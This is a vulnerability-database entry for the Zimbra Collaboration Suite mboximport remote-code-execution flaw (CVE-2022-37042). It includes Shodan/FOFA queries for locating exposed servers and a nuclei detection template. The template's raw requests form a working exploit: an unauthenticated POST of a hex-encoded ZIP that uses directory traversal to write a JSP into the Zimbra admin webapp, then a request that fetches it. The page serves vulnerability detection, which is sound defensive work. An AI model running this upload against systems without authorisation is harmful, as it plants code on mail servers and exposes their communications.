Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-08-11; known to be used by ransomware.

criticalseverity

9.8CVSS score

92.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.

Impact

Unauthenticated attackers can bypass authentication and upload arbitrary files through the mboximport functionality, achieving directory traversal and remote code execution on Zimbra Collaboration Suite servers, potentially compromising email systems and sensitive communications.

Fix

Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite.

How to confirm it

Send: POST {{path}} ; GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp
Positive when: status_code_1 == 401 and status_code_2 == 200 and contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')

Run it with nuclei: nuclei -id CVE-2022-37042 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-37042

info:
  name: Zimbra Collaboration Suite 8.8.15/9.0 - Remote Code Execution
  author: _0xf4n9x_,For3stCo1d
  severity: critical
  description: |
    Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.
  impact: |
    Unauthenticated attackers can bypass authentication and upload arbitrary files through the mboximport functionality, achieving directory traversal and remote code execution on Zimbra Collaboration Suite servers, potentially compromising email systems and sensitive communications.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite.
  reference:
    - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/
    - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/
    - https://github.com/vnhacker1337/CVE-2022-27925-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37042
    - https://wiki.zimbra.com/wiki/Security_Center
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-37042
    cwe-id: CWE-22
    epss-score: 0.92072
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - app="zimbra-邮件系统"
      - icon_hash="475145467"
      - icon_hash="1624375939"
  tags: cve,cve2022,zimbra,rce,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        content-type: application/x-www-form-urlencoded

        {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}}
      - |
        GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1
        - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'status_code_2 == 200'
          - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from